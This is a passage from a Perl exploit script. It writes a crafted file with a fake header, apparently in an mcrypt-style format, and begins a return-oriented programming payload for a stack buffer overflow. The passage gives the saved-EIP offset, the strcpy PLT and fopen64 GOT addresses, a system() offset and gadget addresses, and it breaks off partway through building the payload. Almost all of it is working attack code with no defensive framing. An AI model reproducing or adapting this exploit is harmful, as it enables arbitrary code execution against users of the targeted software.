sub write_file {
die("[-] Can't open $filename : $!\n") unless(open F, '>', $filename);
print F $file;
close F;
}
sub build_file {
# magic
$file .= "\x00m\x03";
# flags
$file .= pack('C', 1 << 6);
# algorithm
$file .= "H\@Ck3d\x00";
# keysize
$file .= pack('S', 0xdead);
# mode
$file .= "h\@cK3d\x00";
# keymode
$file .= "H\@CK3D\x00";
# sflags
$file .= "\xff";
# payload
$file .= $_[0];
return $file;
}
sub payload {
my $saved_eip_off = 0x71; # Buffer len for overwrite saved EIP
my $v_local_1 = 0x0805b000; # Local variable 1 overwriten
my $v_local_2 = 0x08048007; # Local variable 2 overwriten
my $ret_sled = 5; # Offset between saved EIP and local variables
my $strcpy_plt = 0x080499f0; # strcpy@plt address
my $fopen64_got = 0x0805b1c8; # fopen64 got entry
my $system_off = 0xfffd6b30; # fopen64 - system
my $w_mem = 0x0805b000; # writable memory, without ASLR
my $pop2_ret = 0x08055a63; # pop; pop; ret
my $ret = 0x0805a5ed; # ret
my $pop_ebx = 0x08056186; # pop ebx; ret
my $pop_edi = 0x08053460; # pop edi; ret
my $xchg_eax = 0x080517a4; # xchg eax, edi; ret
my $add_eax = 0x0804dabf; # add eax,[ebx-0x2776e73c]; pop ebx; ret
my $call_eax = 0x0804b357; # call eax; leave; ret